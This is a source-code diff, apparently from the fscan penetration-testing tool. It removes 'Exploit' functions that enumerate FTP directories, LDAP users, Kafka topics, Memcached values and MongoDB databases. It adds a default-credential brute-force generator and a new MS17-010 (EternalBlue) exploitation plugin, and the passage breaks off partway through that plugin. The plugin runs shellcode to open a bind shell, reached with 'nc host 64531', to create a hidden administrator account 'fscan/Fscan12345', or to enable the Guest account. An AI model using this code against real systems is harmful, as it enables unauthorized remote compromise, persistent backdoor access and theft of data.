func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
banner := "Elasticsearch搜索引擎服务"
|
||||
common.LogSuccess(fmt.Sprintf("Elasticsearch %s %s", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "elasticsearch",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("无法识别为Elasticsearch服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("elasticsearch", func() Plugin {
|
||||
return NewElasticsearchPlugin()
|
||||
})
|
||||
}
|
@ -95,73 +95,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRe
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行FindNet利用操作 - 详细网络信息收集
|
||||
func (p *FindNetPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("FindNet利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== FindNet网络发现结果 - %s ===\n", target))
|
||||
|
||||
// 建立连接进行详细扫描
|
||||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
// 执行网络发现
|
||||
networkInfo, err := p.performNetworkDiscovery(conn)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[网络发现失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !networkInfo.Valid {
|
||||
output.WriteString("\n[网络信息] 未发现有效的网络信息\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// 输出详细网络信息
|
||||
if networkInfo.Hostname != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[主机名] %s\n", networkInfo.Hostname))
|
||||
}
|
||||
|
||||
if len(networkInfo.IPv4Addrs) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[IPv4地址] (共%d个)\n", len(networkInfo.IPv4Addrs)))
|
||||
for _, addr := range networkInfo.IPv4Addrs {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", addr))
|
||||
}
|
||||
}
|
||||
|
||||
if len(networkInfo.IPv6Addrs) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[IPv6地址] (共%d个)\n", len(networkInfo.IPv6Addrs)))
|
||||
for _, addr := range networkInfo.IPv6Addrs {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", addr))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("FindNet利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// NetworkInfo 网络信息结构
|
||||
type NetworkInfo struct {
|
||||
|
@ -100,90 +100,6 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行FTP利用操作 - 实现文件操作功能
|
||||
func (p *FTPPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立FTP连接
|
||||
conn := p.testCredential(ctx, info, creds)
|
||||
if conn == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("FTP连接失败"),
|
||||
}
|
||||
}
|
||||
defer conn.Quit()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("FTP利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== FTP利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取当前工作目录
|
||||
if pwd, err := conn.CurrentDir(); err == nil {
|
||||
output.WriteString(fmt.Sprintf("\n[当前目录] %s\n", pwd))
|
||||
}
|
||||
|
||||
// 列出根目录文件
|
||||
if entries, err := conn.List("/"); err == nil {
|
||||
output.WriteString(fmt.Sprintf("\n[根目录文件列表] (共%d项)\n", len(entries)))
|
||||
for i, entry := range entries {
|
||||
if i >= 10 { // 限制显示前10项
|
||||
output.WriteString("... (更多文件)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s %10d %s %s\n",
|
||||
entry.Type, entry.Size, entry.Time.Format("2006-01-02 15:04"), entry.Name))
|
||||
}
|
||||
}
|
||||
|
||||
// 检查常见敏感目录
|
||||
sensitiveDirectories := []string{"/etc", "/home", "/var", "/tmp", "/root", "/opt"}
|
||||
for _, dir := range sensitiveDirectories {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
if entries, err := conn.List(dir); err == nil {
|
||||
output.WriteString(fmt.Sprintf("\n[敏感目录] %s (共%d项)\n", dir, len(entries)))
|
||||
for i, entry := range entries {
|
||||
if i >= 5 { // 每个目录只显示前5项
|
||||
output.WriteString(" ... (更多文件)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s %s\n", entry.Type, entry.Name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查系统信息
|
||||
if sysInfo := p.getSystemInfo(conn); sysInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[系统信息]\n%s\n", sysInfo))
|
||||
}
|
||||
|
||||
// 尝试创建测试文件(验证写权限)
|
||||
testFileName := "fscan_test.txt"
|
||||
testContent := "FScan Security Test File"
|
||||
if err := p.testWritePermission(conn, testFileName, testContent); err == nil {
|
||||
output.WriteString(fmt.Sprintf("\n[写权限测试] ✅ 成功创建文件: %s\n", testFileName))
|
||||
// 清理测试文件
|
||||
conn.Delete(testFileName)
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("\n[写权限测试] ❌ 无写权限: %v\n", err))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("FTP利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testAnonymousAccess 测试匿名访问
|
||||
func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -1,23 +1,114 @@
|
||||
package services
|
||||
|
||||
// 从父目录导入插件基础类型
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"context"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// 类型别名,让services包中的插件可以直接使用这些类型
|
||||
type (
|
||||
Plugin = plugins.Plugin
|
||||
Exploiter = plugins.Exploiter
|
||||
ScanResult = plugins.ScanResult
|
||||
ExploitResult = plugins.ExploitResult
|
||||
Credential = plugins.Credential
|
||||
)
|
||||
// Plugin 插件接口 - 简化的统一接口
|
||||
type Plugin interface {
|
||||
GetName() string
|
||||
GetPorts() []int
|
||||
Scan(ctx context.Context, info *common.HostInfo) *ScanResult
|
||||
}
|
||||
|
||||
// 导出函数,让services包中的插件可以调用
|
||||
// Exploiter 利用接口 - 用于支持利用功能的插件
|
||||
type Exploiter interface {
|
||||
Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult
|
||||
}
|
||||
|
||||
// ScanResult 扫描结果
|
||||
type ScanResult struct {
|
||||
Success bool
|
||||
Service string
|
||||
Username string
|
||||
Password string
|
||||
Banner string
|
||||
Error error
|
||||
}
|
||||
|
||||
// ExploitResult 利用结果
|
||||
type ExploitResult struct {
|
||||
Success bool
|
||||
Output string
|
||||
Error error
|
||||
}
|
||||
|
||||
// Credential 认证凭据
|
||||
type Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
KeyData []byte // SSH密钥数据
|
||||
}
|
||||
|
||||
// 插件注册表
|
||||
var (
|
||||
RegisterPlugin = plugins.RegisterPlugin
|
||||
GetPlugin = plugins.GetPlugin
|
||||
GetAllPlugins = plugins.GetAllPlugins
|
||||
GenerateCredentials = plugins.GenerateCredentials
|
||||
)
|
||||
pluginRegistry = make(map[string]func() Plugin)
|
||||
pluginMutex sync.RWMutex
|
||||
)
|
||||
|
||||
// RegisterPlugin 注册插件
|
||||
func RegisterPlugin(name string, factory func() Plugin) {
|
||||
pluginMutex.Lock()
|
||||
defer pluginMutex.Unlock()
|
||||
pluginRegistry[name] = factory
|
||||
}
|
||||
|
||||
// GetPlugin 获取插件实例
|
||||
func GetPlugin(name string) Plugin {
|
||||
pluginMutex.RLock()
|
||||
defer pluginMutex.RUnlock()
|
||||
|
||||
factory, exists := pluginRegistry[name]
|
||||
if !exists {
|
||||
return nil
|
||||
}
|
||||
return factory()
|
||||
}
|
||||
|
||||
// GetAllPlugins 获取所有已注册插件的名称
|
||||
func GetAllPlugins() []string {
|
||||
pluginMutex.RLock()
|
||||
defer pluginMutex.RUnlock()
|
||||
|
||||
var plugins []string
|
||||
for name := range pluginRegistry {
|
||||
plugins = append(plugins, name)
|
||||
}
|
||||
return plugins
|
||||
}
|
||||
|
||||
// GenerateCredentials 生成默认测试凭据
|
||||
func GenerateCredentials(service string) []Credential {
|
||||
var credentials []Credential
|
||||
|
||||
// 从common包中获取用户字典和密码列表
|
||||
users := common.Userdict[service]
|
||||
if len(users) == 0 {
|
||||
// 使用通用用户名
|
||||
users = []string{"admin", "root", "administrator", "user", "guest", ""}
|
||||
}
|
||||
|
||||
passwords := common.Passwords
|
||||
if len(passwords) == 0 {
|
||||
// 使用通用密码
|
||||
passwords = []string{"", "admin", "root", "password", "123456", "12345", "1234"}
|
||||
}
|
||||
|
||||
// 生成用户名和密码的组合
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
// 替换密码中的占位符
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, Credential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return credentials
|
||||
}
|
@ -3,7 +3,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/IBM/sarama"
|
||||
@ -100,85 +99,6 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResu
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Kafka利用操作 - 实现信息收集功能
|
||||
func (p *KafkaPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立Kafka连接
|
||||
client := p.testCredential(ctx, info, creds)
|
||||
if client == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Kafka连接失败"),
|
||||
}
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Kafka利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Kafka利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取集群元数据
|
||||
if err := client.RefreshMetadata(); err == nil {
|
||||
// 获取刷新后的元数据
|
||||
brokers := client.Brokers()
|
||||
topics, _ := client.Topics()
|
||||
|
||||
output.WriteString(fmt.Sprintf("\n[集群信息]\n"))
|
||||
output.WriteString(fmt.Sprintf(" Broker数量: %d\n", len(brokers)))
|
||||
|
||||
// 显示Broker信息
|
||||
for i, broker := range brokers {
|
||||
if i >= 5 { // 限制显示前5个broker
|
||||
output.WriteString(" ... (更多broker)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" Broker %d: %s\n", broker.ID(), broker.Addr()))
|
||||
}
|
||||
|
||||
// 显示Topic列表
|
||||
output.WriteString(fmt.Sprintf("\n[Topic列表] (共%d个)\n", len(topics)))
|
||||
for i, topic := range topics {
|
||||
if i >= 10 { // 限制显示前10个topic
|
||||
output.WriteString(" ... (更多topic)\n")
|
||||
break
|
||||
}
|
||||
|
||||
// 获取topic分区数
|
||||
if partitions, err := client.Partitions(topic); err == nil {
|
||||
output.WriteString(fmt.Sprintf(" %s (分区数: %d)\n", topic, len(partitions)))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", topic))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 获取消费者组信息
|
||||
if groups, err := p.getConsumerGroups(client); err == nil && len(groups) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[消费者组] (共%d个)\n", len(groups)))
|
||||
for i, group := range groups {
|
||||
if i >= 5 { // 限制显示前5个组
|
||||
output.WriteString(" ... (更多消费者组)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", group))
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试生产消息测试(如果有写权限)
|
||||
if err := p.testProduceMessage(client, "fscan-test-topic"); err == nil {
|
||||
output.WriteString(fmt.Sprintf("\n[权限测试] ✅ 成功发送测试消息\n"))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("\n[权限测试] ❌ 无生产者权限: %v\n", err))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Kafka利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *KafkaPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -102,78 +102,6 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResul
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行LDAP利用操作 - 实现目录信息收集功能
|
||||
func (p *LDAPPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("LDAP利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== LDAP利用结果 - %s ===\n", target))
|
||||
|
||||
if creds.Username != "" {
|
||||
output.WriteString(fmt.Sprintf("认证凭据: %s/%s\n", creds.Username, creds.Password))
|
||||
} else {
|
||||
output.WriteString("认证方式: 匿名绑定\n")
|
||||
}
|
||||
|
||||
// 建立LDAP连接
|
||||
conn, err := p.connectLDAP(ctx, info, creds)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
output.WriteString("\n[连接状态] ✅ 成功建立LDAP连接\n")
|
||||
|
||||
// 获取根DSE信息
|
||||
if rootDSE := p.getRootDSE(conn); rootDSE != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[根DSE信息]\n%s\n", rootDSE))
|
||||
}
|
||||
|
||||
// 获取命名上下文
|
||||
if namingContexts := p.getNamingContexts(conn); len(namingContexts) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[命名上下文] (共%d个)\n", len(namingContexts)))
|
||||
for _, context := range namingContexts {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", context))
|
||||
}
|
||||
}
|
||||
|
||||
// 枚举用户
|
||||
if users := p.enumerateUsers(conn); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户枚举] (共%d个)\n", len(users)))
|
||||
for i, user := range users {
|
||||
if i >= 20 { // 限制显示前20个用户
|
||||
output.WriteString("... (更多用户)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 枚举组织单位
|
||||
if ous := p.enumerateOUs(conn); len(ous) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[组织单位] (共%d个)\n", len(ous)))
|
||||
for i, ou := range ous {
|
||||
if i >= 15 { // 限制显示前15个OU
|
||||
output.WriteString("... (更多组织单位)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", ou))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("LDAP利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testAnonymousBind 测试匿名绑定
|
||||
func (p *LDAPPlugin) testAnonymousBind(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -58,68 +58,6 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo) *Scan
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Memcached利用操作 - 实现缓存数据提取功能
|
||||
func (p *MemcachedPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立Memcached连接
|
||||
conn := p.connectToMemcached(ctx, info)
|
||||
if conn == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Memcached连接失败"),
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Memcached利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Memcached利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取服务器统计信息
|
||||
if stats := p.getStats(conn); stats != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[服务器统计]\n%s\n", stats))
|
||||
}
|
||||
|
||||
// 获取版本信息
|
||||
if version := p.getVersion(conn); version != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||||
}
|
||||
|
||||
// 获取所有键
|
||||
if keys := p.getAllKeys(conn); len(keys) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[缓存键] (共%d个)\n", len(keys)))
|
||||
for i, key := range keys {
|
||||
if i >= 20 { // 限制显示前20个键
|
||||
output.WriteString("... (更多键值)\n")
|
||||
break
|
||||
}
|
||||
// 获取键的值
|
||||
value := p.getValue(conn, key)
|
||||
if len(value) > 100 {
|
||||
value = value[:100] + "..."
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s: %s\n", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取设置信息
|
||||
if settings := p.getSettings(conn); settings != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[配置设置]\n%s\n", settings))
|
||||
}
|
||||
|
||||
// 测试写权限
|
||||
if writeTest := p.testWritePermission(conn); writeTest != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[写权限测试]\n%s\n", writeTest))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Memcached利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -59,70 +59,6 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRe
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行MongoDB利用操作 - 实现数据查询功能
|
||||
func (p *MongoDBPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立MongoDB连接
|
||||
conn := p.connectToMongoDB(ctx, info)
|
||||
if conn == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("MongoDB连接失败"),
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("MongoDB利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MongoDB利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取服务器状态
|
||||
if serverStatus := p.getServerStatus(conn); serverStatus != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[服务器状态]\n%s\n", serverStatus))
|
||||
}
|
||||
|
||||
// 获取数据库列表
|
||||
if databases := p.getDatabases(conn); len(databases) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库列表] (共%d个)\n", len(databases)))
|
||||
for i, dbName := range databases {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多数据库)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", dbName))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取集合信息(admin数据库)
|
||||
if collections := p.getCollections(conn, "admin"); len(collections) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[admin数据库集合] (共%d个)\n", len(collections)))
|
||||
for i, collection := range collections {
|
||||
if i >= 5 { // 限制显示前5个集合
|
||||
output.WriteString("... (更多集合)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", collection))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户信息
|
||||
if users := p.getUsers(conn); users != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[用户信息]\n%s\n", users))
|
||||
}
|
||||
|
||||
// 获取版本信息
|
||||
if version := p.getBuildInfo(conn); version != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("MongoDB利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *MongoDBPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
500
plugins/services/ms17010.go
Normal file
500
plugins/services/ms17010.go
Normal file
@ -0,0 +1,500 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能
|
||||
type MS17010Plugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewMS17010Plugin 创建MS17010插件
|
||||
func NewMS17010Plugin() *MS17010Plugin {
|
||||
return &MS17010Plugin{
|
||||
name: "ms17010",
|
||||
ports: []int{445}, // SMB端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *MS17010Plugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *MS17010Plugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行MS17-010扫描
|
||||
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
// 如果禁用暴力破解,也禁用漏洞检测
|
||||
if common.DisableBrute {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010检测已禁用"),
|
||||
}
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
||||
if info.Ports != "445" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 执行MS17010漏洞检测
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if vulnerable {
|
||||
msg := fmt.Sprintf("MS17-010 %s", target)
|
||||
if osVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", osVersion)
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "ms17010",
|
||||
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行MS17-010漏洞利用
|
||||
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("MS17-010利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
||||
|
||||
// 首先确认漏洞存在
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !vulnerable {
|
||||
output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("\n[漏洞确认] ✅ MS17-010漏洞存在\n"))
|
||||
if osVersion != "" {
|
||||
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
||||
}
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
hasBackdoor := p.checkDoublePulsar(info.Host)
|
||||
if hasBackdoor {
|
||||
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
||||
} else {
|
||||
output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n")
|
||||
}
|
||||
|
||||
// 如果有Shellcode配置,执行实际利用
|
||||
if common.Shellcode != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", common.Shellcode))
|
||||
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
||||
|
||||
// 执行实际的MS17010利用
|
||||
err = p.executeMS17010Exploit(info)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
} else {
|
||||
output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n")
|
||||
|
||||
// 根据不同类型提供后续操作建议
|
||||
switch common.Shellcode {
|
||||
case "bind":
|
||||
output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n")
|
||||
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
||||
case "add":
|
||||
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
||||
output.WriteString(fmt.Sprintf(" 用户名: fscan 密码: Fscan12345\n"))
|
||||
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
||||
case "guest":
|
||||
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n")
|
||||
output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n")
|
||||
output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n")
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("MS17-010利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// 以下是完整的原始MS17010检测和利用代码,保持不变
|
||||
|
||||
// AES解密函数 (从legacy/Base.go复制)
|
||||
func aesDecrypt(crypted string, key string) (string, error) {
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
